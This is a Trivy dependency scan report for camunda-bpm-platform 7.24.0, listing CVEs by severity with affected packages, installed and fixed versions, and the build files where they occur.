Trivy Scan Report
Report Information
| Generated At | 2026-05-27T03:34:09.705854-07:00 |
|---|---|
| --input | ./input/trivy-report-camunda-bpm-platform-7.24.0.json |
| --output | output/trivy-report-camunda-bpm-platform-7.24.0.html |
Vulnerability Summary
| Severity | Count |
|---|---|
| CRITICAL | 28 |
| HIGH | 75 |
| MEDIUM | 101 |
| LOW | 47 |
Vulnerabilities
| Severity | CVE | Package | Installed | Fixed | Target | Title |
|---|---|---|---|---|---|---|
| CRITICAL | CVE-2026-41293 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | distro/run/core/pom.xml | Improper Input Validation vulnerability in Apache Tomcat. This issue ... |
| CRITICAL | CVE-2026-43512 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | distro/run/core/pom.xml | DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ... |
| CRITICAL | CVE-2026-43515 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | distro/run/core/pom.xml | Improper Authorization vulnerability when multiple method constraints ... |
| CRITICAL | CVE-2026-22732 | org.springframework.security:spring-security-web | 6.5.3 | 6.5.9, 7.0.4 | distro/run/modules/oauth2/pom.xml | Spring Security: Spring Security: Security policy bypass and information disclosure due to unwritten HTTP headers |
| CRITICAL | CVE-2026-29145 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.116, 10.1.53, 11.0.20 | distro/tomcat/assembly/pom.xml | Apache Tomcat: Apache Tomcat: Authentication bypass due to CLIENT_CERT soft fail misconfiguration |
| CRITICAL | CVE-2026-41293 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.118, 10.1.55, 11.0.22 | distro/tomcat/assembly/pom.xml | Improper Input Validation vulnerability in Apache Tomcat. This issue ... |
| CRITICAL | CVE-2026-43512 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.118, 10.1.55, 11.0.22 | distro/tomcat/assembly/pom.xml | DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ... |
| CRITICAL | CVE-2026-43515 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.118, 10.1.55, 11.0.22 | distro/tomcat/assembly/pom.xml | Improper Authorization vulnerability when multiple method constraints ... |
| CRITICAL | CVE-2026-25896 | fast-xml-parser | 4.5.3 | 5.3.5, 4.5.4 | engine-rest/docs/package-lock.json | fast-xml-parser: fast-xml-parser: Cross-Site Scripting (XSS) due to improper DOCTYPE entity handling |
| CRITICAL | CVE-2016-1000027 | org.springframework:spring-web | 5.3.39 | 6.0.0 | qa/integration-tests-engine/pom.xml | spring: HttpInvokerServiceExporter readRemoteInvocation method untrusted java deserialization |
| CRITICAL | CVE-2019-10202 | org.codehaus.jackson:jackson-mapper-asl | 1.9.11 | qa/performance-tests-engine/pom.xml | codehaus: incomplete fix for unsafe deserialization in jackson-databind vulnerabilities | |
| CRITICAL | CVE-2022-22965 | org.springframework:spring-beans | 5.2.19.RELEASE | 5.2.20.RELEASE, 5.3.18 | qa/test-db-instance-migration/pom.xml | spring-framework: RCE via Data Binding on JDK 9+ |
| CRITICAL | CVE-2022-22965 | org.springframework:spring-beans | 5.2.8.RELEASE | 5.2.20.RELEASE, 5.3.18 | qa/test-db-instance-migration/pom.xml | spring-framework: RCE via Data Binding on JDK 9+ |
| CRITICAL | CVE-2022-22965 | org.springframework:spring-beans | 5.2.8.RELEASE | 5.2.20.RELEASE, 5.3.18 | qa/test-db-instance-migration/test-fixture-714/pom.xml | spring-framework: RCE via Data Binding on JDK 9+ |
| CRITICAL | CVE-2022-22965 | org.springframework:spring-beans | 5.2.19.RELEASE | 5.2.20.RELEASE, 5.3.18 | qa/test-db-instance-migration/test-fixture-717/pom.xml | spring-framework: RCE via Data Binding on JDK 9+ |
| CRITICAL | CVE-2016-4000 | org.python:jython | 2.5.3 | 2.7.1-rc1 | qa/tomcat-runtime/pom.xml | jython: Unsafe deserialization leads to code execution |
| CRITICAL | CVE-2016-4000 | org.python:jython | 2.5.3 | 2.7.1-rc1 | qa/tomcat9-runtime/pom.xml | jython: Unsafe deserialization leads to code execution |
| CRITICAL | CVE-2016-4000 | org.python:jython | 2.5.3 | 2.7.1-rc1 | qa/wildfly-runtime/pom.xml | jython: Unsafe deserialization leads to code execution |
| CRITICAL | CVE-2016-4000 | org.python:jython | 2.5.3 | 2.7.1-rc1 | qa/wildfly26-runtime/pom.xml | jython: Unsafe deserialization leads to code execution |
| CRITICAL | CVE-2026-41293 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Improper Input Validation vulnerability in Apache Tomcat. This issue ... |
| CRITICAL | CVE-2026-43512 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ... |
| CRITICAL | CVE-2026-43515 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Improper Authorization vulnerability when multiple method constraints ... |
| CRITICAL | CVE-2026-22732 | org.springframework.security:spring-security-web | 6.5.3 | 6.5.9, 7.0.4 | spring-boot-starter/starter-security/pom.xml | Spring Security: Spring Security: Security policy bypass and information disclosure due to unwritten HTTP headers |
| CRITICAL | CVE-2026-41293 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-webapp-core/pom.xml | Improper Input Validation vulnerability in Apache Tomcat. This issue ... |
| CRITICAL | CVE-2026-43512 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-webapp-core/pom.xml | DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ... |
| CRITICAL | CVE-2026-43515 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-webapp-core/pom.xml | Improper Authorization vulnerability when multiple method constraints ... |
| CRITICAL | CVE-2026-25896 | fast-xml-parser | 4.3.4 | 5.3.5, 4.5.4 | webapps/frontend/package-lock.json | fast-xml-parser: fast-xml-parser: Cross-Site Scripting (XSS) due to improper DOCTYPE entity handling |
| CRITICAL | CVE-2025-7783 | form-data | 4.0.0 | 2.5.4, 3.0.4, 4.0.4 | webapps/frontend/package-lock.json | Use of Insufficiently Random Values vulnerability in form-data allows ... |
| HIGH | CVE-2023-6378 | ch.qos.logback:logback-classic | 1.2.11 | 1.3.12, 1.4.12, 1.2.13 | commons/pom.xml | logback: serialization vulnerability in logback receiver |
| HIGH | CVE-2023-6378 | ch.qos.logback:logback-core | 1.2.11 | 1.3.12, 1.4.12, 1.2.13 | commons/pom.xml | logback: serialization vulnerability in logback receiver |
| HIGH | CVE-2023-6378 | ch.qos.logback:logback-classic | 1.2.11 | 1.3.12, 1.4.12, 1.2.13 | commons/testing/pom.xml | logback: serialization vulnerability in logback receiver |
| HIGH | CVE-2023-6378 | ch.qos.logback:logback-core | 1.2.11 | 1.3.12, 1.4.12, 1.2.13 | commons/testing/pom.xml | logback: serialization vulnerability in logback receiver |
| HIGH | CVE-2025-55752 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.11, 10.1.45, 9.0.109 | distro/run/core/pom.xml | Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ... |
| HIGH | CVE-2026-24734 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.18, 10.1.52, 9.0.115 | distro/run/core/pom.xml | tomcat: Apache Tomcat: Certificate revocation bypass due to improper OCSP response validation |
| HIGH | CVE-2026-24880 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.52, 11.0.20 | distro/run/core/pom.xml | Apache Tomcat: Apache Tomcat: HTTP Request/Response Smuggling via invalid chunk extension |
| HIGH | CVE-2026-34483 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.54, 11.0.21 | distro/run/core/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve |
| HIGH | CVE-2026-34487 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.117, 10.1.54, 11.0.21 | distro/run/core/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files |
| HIGH | CVE-2026-41284 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | distro/run/core/pom.xml | Allocation of Resources Without Limits or Throttling vulnerability in ... |
| HIGH | CVE-2026-42498 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | distro/run/core/pom.xml | Exposure of HTTP Authentication Header to unexpected hosts during WebS ... |
| HIGH | CVE-2026-43513 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | distro/run/core/pom.xml | Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ... |
| HIGH | CVE-2026-40973 | org.springframework.boot:spring-boot | 3.5.5 | 4.0.6, 3.5.14 | distro/run/core/pom.xml | Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | distro/run/core/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2025-41248 | org.springframework.security:spring-security-core | 6.5.3 | 6.4.10, 6.5.4 | distro/run/modules/oauth2/pom.xml | Spring Security annotation detection mechanism has authorization bypass |
| HIGH | CVE-2025-55752 | org.apache.tomcat:tomcat | 10.1.43 | 11.0.11, 10.1.45, 9.0.109 | distro/tomcat/assembly/pom.xml | Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ... |
| HIGH | CVE-2026-34483 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.116, 10.1.54, 11.0.21 | distro/tomcat/assembly/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve |
| HIGH | CVE-2026-34487 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.117, 10.1.54, 11.0.21 | distro/tomcat/assembly/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files |
| HIGH | CVE-2026-41284 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.118, 10.1.55, 11.0.22 | distro/tomcat/assembly/pom.xml | Allocation of Resources Without Limits or Throttling vulnerability in ... |
| HIGH | CVE-2026-42498 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.118, 10.1.55, 11.0.22 | distro/tomcat/assembly/pom.xml | Exposure of HTTP Authentication Header to unexpected hosts during WebS ... |
| HIGH | CVE-2026-43513 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.118, 10.1.55, 11.0.22 | distro/tomcat/assembly/pom.xml | Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ... |
| HIGH | CVE-2026-26278 | fast-xml-parser | 4.5.3 | 4.5.4, 5.3.6 | engine-rest/docs/package-lock.json | fast-xml-parser: fast-xml-parser: Denial of Service via unlimited XML entity expansion |
| HIGH | CVE-2026-33036 | fast-xml-parser | 4.5.3 | 5.5.6, 4.5.5 | engine-rest/docs/package-lock.json | fast-xml-parser: fast-xml-parser: Denial of Service via XML entity expansion bypass |
| HIGH | CVE-2026-26996 | minimatch | 5.1.6 | 10.2.1, 9.0.6, 8.0.5, 7.4.7, 6.2.1, 5.1.7, 4.2.4, 3.1.3 | engine-rest/docs/package-lock.json | minimatch: minimatch: Denial of Service via specially crafted glob patterns |
| HIGH | CVE-2026-27903 | minimatch | 5.1.6 | 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, 3.1.3 | engine-rest/docs/package-lock.json | minimatch: minimatch: Denial of Service due to unbounded recursive backtracking via crafted glob patterns |
| HIGH | CVE-2026-27904 | minimatch | 5.1.6 | 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, 3.1.4 | engine-rest/docs/package-lock.json | minimatch: Minimatch: Denial of Service via catastrophic backtracking in glob expressions |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | engine/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | qa/integration-tests-engine-jakarta/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2023-6378 | ch.qos.logback:logback-classic | 1.2.11 | 1.3.12, 1.4.12, 1.2.13 | qa/performance-tests-engine/pom.xml | logback: serialization vulnerability in logback receiver |
| HIGH | CVE-2023-6378 | ch.qos.logback:logback-core | 1.2.11 | 1.3.12, 1.4.12, 1.2.13 | qa/performance-tests-engine/pom.xml | logback: serialization vulnerability in logback receiver |
| HIGH | CVE-2019-10172 | org.codehaus.jackson:jackson-mapper-asl | 1.9.11 | qa/performance-tests-engine/pom.xml | jackson-mapper-asl: XML external entity similar to CVE-2016-3720 | |
| HIGH | CVE-2020-26945 | org.mybatis:mybatis | 3.5.3 | 3.5.6 | qa/test-db-instance-migration/pom.xml | mybatis: mishandles deserialization of object streams which could result in remote code execution |
| HIGH | CVE-2022-22970 | org.springframework:spring-beans | 5.2.19.RELEASE | 5.2.22.RELEASE, 5.3.20 | qa/test-db-instance-migration/pom.xml | springframework: DoS via data binding to multipartFile or servlet part |
| HIGH | CVE-2022-22970 | org.springframework:spring-beans | 5.2.8.RELEASE | 5.2.22.RELEASE, 5.3.20 | qa/test-db-instance-migration/pom.xml | springframework: DoS via data binding to multipartFile or servlet part |
| HIGH | CVE-2020-26945 | org.mybatis:mybatis | 3.5.3 | 3.5.6 | qa/test-db-instance-migration/test-fixture-714/pom.xml | mybatis: mishandles deserialization of object streams which could result in remote code execution |
| HIGH | CVE-2022-22970 | org.springframework:spring-beans | 5.2.8.RELEASE | 5.2.22.RELEASE, 5.3.20 | qa/test-db-instance-migration/test-fixture-714/pom.xml | springframework: DoS via data binding to multipartFile or servlet part |
| HIGH | CVE-2022-22970 | org.springframework:spring-beans | 5.2.19.RELEASE | 5.2.22.RELEASE, 5.3.20 | qa/test-db-instance-migration/test-fixture-717/pom.xml | springframework: DoS via data binding to multipartFile or servlet part |
| HIGH | CVE-2026-42198 | org.postgresql:postgresql | 42.5.5 | 42.7.11 | qa/tomcat-runtime/pom.xml | jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication |
| HIGH | CVE-2026-42198 | org.postgresql:postgresql | 42.5.5 | 42.7.11 | qa/tomcat9-runtime/pom.xml | jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication |
| HIGH | CVE-2026-42198 | org.postgresql:postgresql | 42.5.5 | 42.7.11 | qa/wildfly-runtime/pom.xml | jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication |
| HIGH | CVE-2026-42198 | org.postgresql:postgresql | 42.5.5 | 42.7.11 | qa/wildfly26-runtime/pom.xml | jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication |
| HIGH | CVE-2026-40973 | org.springframework.boot:spring-boot | 3.5.5 | 4.0.6, 3.5.14 | spring-boot-starter/starter-client/spring-boot/pom.xml | Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | spring-boot-starter/starter-client/spring-boot/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2025-55752 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.11, 10.1.45, 9.0.109 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ... |
| HIGH | CVE-2026-24734 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.18, 10.1.52, 9.0.115 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | tomcat: Apache Tomcat: Certificate revocation bypass due to improper OCSP response validation |
| HIGH | CVE-2026-24880 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.52, 11.0.20 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Apache Tomcat: Apache Tomcat: HTTP Request/Response Smuggling via invalid chunk extension |
| HIGH | CVE-2026-34483 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.54, 11.0.21 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve |
| HIGH | CVE-2026-34487 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.117, 10.1.54, 11.0.21 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files |
| HIGH | CVE-2026-41284 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Allocation of Resources Without Limits or Throttling vulnerability in ... |
| HIGH | CVE-2026-42498 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Exposure of HTTP Authentication Header to unexpected hosts during WebS ... |
| HIGH | CVE-2026-43513 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ... |
| HIGH | CVE-2026-40973 | org.springframework.boot:spring-boot | 3.5.5 | 4.0.6, 3.5.14 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2026-40973 | org.springframework.boot:spring-boot | 3.5.5 | 4.0.6, 3.5.14 | spring-boot-starter/starter-security/pom.xml | Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory |
| HIGH | CVE-2025-41248 | org.springframework.security:spring-security-core | 6.5.3 | 6.4.10, 6.5.4 | spring-boot-starter/starter-security/pom.xml | Spring Security annotation detection mechanism has authorization bypass |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | spring-boot-starter/starter-security/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2026-24400 | org.assertj:assertj-core | 3.27.4 | 3.27.7 | spring-boot-starter/starter-test/pom.xml | assertj: AssertJ: Information disclosure and denial of service via XML External Entity (XXE) |
| HIGH | CVE-2026-40973 | org.springframework.boot:spring-boot | 3.5.5 | 4.0.6, 3.5.14 | spring-boot-starter/starter-test/pom.xml | Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | spring-boot-starter/starter-test/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2025-55752 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.11, 10.1.45, 9.0.109 | spring-boot-starter/starter-webapp-core/pom.xml | Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ... |
| HIGH | CVE-2026-24734 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.18, 10.1.52, 9.0.115 | spring-boot-starter/starter-webapp-core/pom.xml | tomcat: Apache Tomcat: Certificate revocation bypass due to improper OCSP response validation |
| HIGH | CVE-2026-24880 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.52, 11.0.20 | spring-boot-starter/starter-webapp-core/pom.xml | Apache Tomcat: Apache Tomcat: HTTP Request/Response Smuggling via invalid chunk extension |
| HIGH | CVE-2026-34483 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.54, 11.0.21 | spring-boot-starter/starter-webapp-core/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve |
| HIGH | CVE-2026-34487 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.117, 10.1.54, 11.0.21 | spring-boot-starter/starter-webapp-core/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files |
| HIGH | CVE-2026-41284 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-webapp-core/pom.xml | Allocation of Resources Without Limits or Throttling vulnerability in ... |
| HIGH | CVE-2026-42498 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-webapp-core/pom.xml | Exposure of HTTP Authentication Header to unexpected hosts during WebS ... |
| HIGH | CVE-2026-43513 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-webapp-core/pom.xml | Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ... |
| HIGH | CVE-2026-40973 | org.springframework.boot:spring-boot | 3.5.5 | 4.0.6, 3.5.14 | spring-boot-starter/starter-webapp-core/pom.xml | Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | spring-boot-starter/starter-webapp-core/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2026-40973 | org.springframework.boot:spring-boot | 3.5.5 | 4.0.6, 3.5.14 | spring-boot-starter/starter/pom.xml | Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | spring-boot-starter/starter/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2024-21490 | angular | 1.8.2 | webapps/frontend/package-lock.json | This affects versions of the package angular from 1.3.0. A regular exp ... | |
| HIGH | CVE-2026-26278 | fast-xml-parser | 4.3.4 | 4.5.4, 5.3.6 | webapps/frontend/package-lock.json | fast-xml-parser: fast-xml-parser: Denial of Service via unlimited XML entity expansion |
| HIGH | CVE-2026-33036 | fast-xml-parser | 4.3.4 | 5.5.6, 4.5.5 | webapps/frontend/package-lock.json | fast-xml-parser: fast-xml-parser: Denial of Service via XML entity expansion bypass |
| HIGH | CVE-2026-4800 | lodash | 4.17.21 | 4.18.0 | webapps/frontend/package-lock.json | lodash: lodash: Arbitrary code execution via untrusted input in template imports |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | clients/java/client/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | clients/java/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2024-12798 | ch.qos.logback:logback-core | 1.2.11 | 1.5.13, 1.3.15 | commons/pom.xml | ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core ... |
| MEDIUM | CVE-2025-11226 | ch.qos.logback:logback-core | 1.2.11 | 1.5.19, 1.3.16 | commons/pom.xml | QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing |
| MEDIUM | CVE-2024-12798 | ch.qos.logback:logback-core | 1.2.11 | 1.5.13, 1.3.15 | commons/testing/pom.xml | ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core ... |
| MEDIUM | CVE-2025-11226 | ch.qos.logback:logback-core | 1.2.11 | 1.5.19, 1.3.16 | commons/testing/pom.xml | QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | distro/jboss/webapp/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2025-11226 | ch.qos.logback:logback-core | 1.5.18 | 1.5.19, 1.3.16 | distro/run/core/pom.xml | QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.19.2 | 2.21.1, 2.18.6 | distro/run/core/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2025-48924 | org.apache.commons:commons-lang3 | 3.17.0 | 3.18.0 | distro/run/core/pom.xml | Uncontrolled Recursion vulnerability in Apache Commons Lang. This iss ... |
| MEDIUM | CVE-2025-66614 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.15, 10.1.50, 9.0.113 | distro/run/core/pom.xml | tomcat: Client certificate verification bypass due to virtual host mapping |
| MEDIUM | CVE-2026-25854 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.53, 11.0.20 | distro/run/core/pom.xml | Apache Tomcat: Apache Tomcat: Open Redirect vulnerability via LoadBalancerDrainingValve |
| MEDIUM | CVE-2026-22737 | org.springframework:spring-webmvc | 6.2.10 | 7.0.6, 6.2.17 | distro/run/core/pom.xml | Spring Framework: Spring Framework: Information disclosure via Java scripting engine enabled template views |
| MEDIUM | CVE-2026-22745 | org.springframework:spring-webmvc | 6.2.10 | 7.0.7, 6.2.18 | distro/run/core/pom.xml | spring-webflux: Spring MVC and Spring WebFlux: Denial of Service via slow static resource resolution on Windows |
| MEDIUM | CVE-2026-22751 | org.springframework.security:spring-security-core | 6.5.3 | 6.5.10, 7.0.5 | distro/run/modules/oauth2/pom.xml | Spring Security: JdbcOneTimeTokenService: Spring Security: Authentication bypass due to race condition in One-Time Token login |
| MEDIUM | CVE-2026-22748 | org.springframework.security:spring-security-oauth2-jose | 6.5.3 | 6.5.10, 7.0.5 | distro/run/modules/oauth2/pom.xml | Spring Security: Spring Security: Integrity impact due to improper JSON Web Token (JWT) validation |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.19.2 | 2.21.1, 2.18.6 | distro/run/modules/rest/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.19.2 | 2.21.1, 2.18.6 | distro/run/modules/webapps/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2026-22737 | org.springframework:spring-webmvc | 6.2.10 | 7.0.6, 6.2.17 | distro/run/modules/webapps/pom.xml | Spring Framework: Spring Framework: Information disclosure via Java scripting engine enabled template views |
| MEDIUM | CVE-2026-22745 | org.springframework:spring-webmvc | 6.2.10 | 7.0.7, 6.2.18 | distro/run/modules/webapps/pom.xml | spring-webflux: Spring MVC and Spring WebFlux: Denial of Service via slow static resource resolution on Windows |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.19.2 | 2.21.1, 2.18.6 | distro/run/qa/example-plugin/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2025-66614 | org.apache.tomcat:tomcat | 10.1.43 | 11.0.15, 10.1.50, 9.0.113 | distro/tomcat/assembly/pom.xml | tomcat: Client certificate verification bypass due to virtual host mapping |
| MEDIUM | CVE-2026-25854 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.116, 10.1.53, 11.0.20 | distro/tomcat/assembly/pom.xml | Apache Tomcat: Apache Tomcat: Open Redirect vulnerability via LoadBalancerDrainingValve |
| MEDIUM | CVE-2026-33750 | brace-expansion | 2.0.1 | 5.0.5, 3.0.2, 2.0.3, 1.1.13 | engine-rest/docs/package-lock.json | brace-expansion: brace-expansion: Denial of Service via zero step value in brace pattern |
| MEDIUM | CVE-2025-15599 | dompurify | 3.2.5 | 3.2.7 | engine-rest/docs/package-lock.json | DOMPurify: DOMPurify: Cross-site scripting |
| MEDIUM | CVE-2026-0540 | dompurify | 3.2.5 | 3.3.2, 2.5.9 | engine-rest/docs/package-lock.json | DOMPurify: DOMPurify: Cross-site scripting vulnerability |
| MEDIUM | CVE-2026-41238 | dompurify | 3.2.5 | 3.4.0 | engine-rest/docs/package-lock.json | DOMPurify: DOMPurify: Cross-Site Scripting bypass via prototype pollution |
| MEDIUM | CVE-2026-41239 | dompurify | 3.2.5 | 3.4.0 | engine-rest/docs/package-lock.json | DOMPurify: Vue 2: DOMPurify: Cross-site scripting due to incomplete sanitization of template expressions |
| MEDIUM | CVE-2026-41240 | dompurify | 3.2.5 | 3.4.0 | engine-rest/docs/package-lock.json | DOMPurify: DOMPurify: Cross-Site Scripting (XSS) via inconsistent tag sanitization |
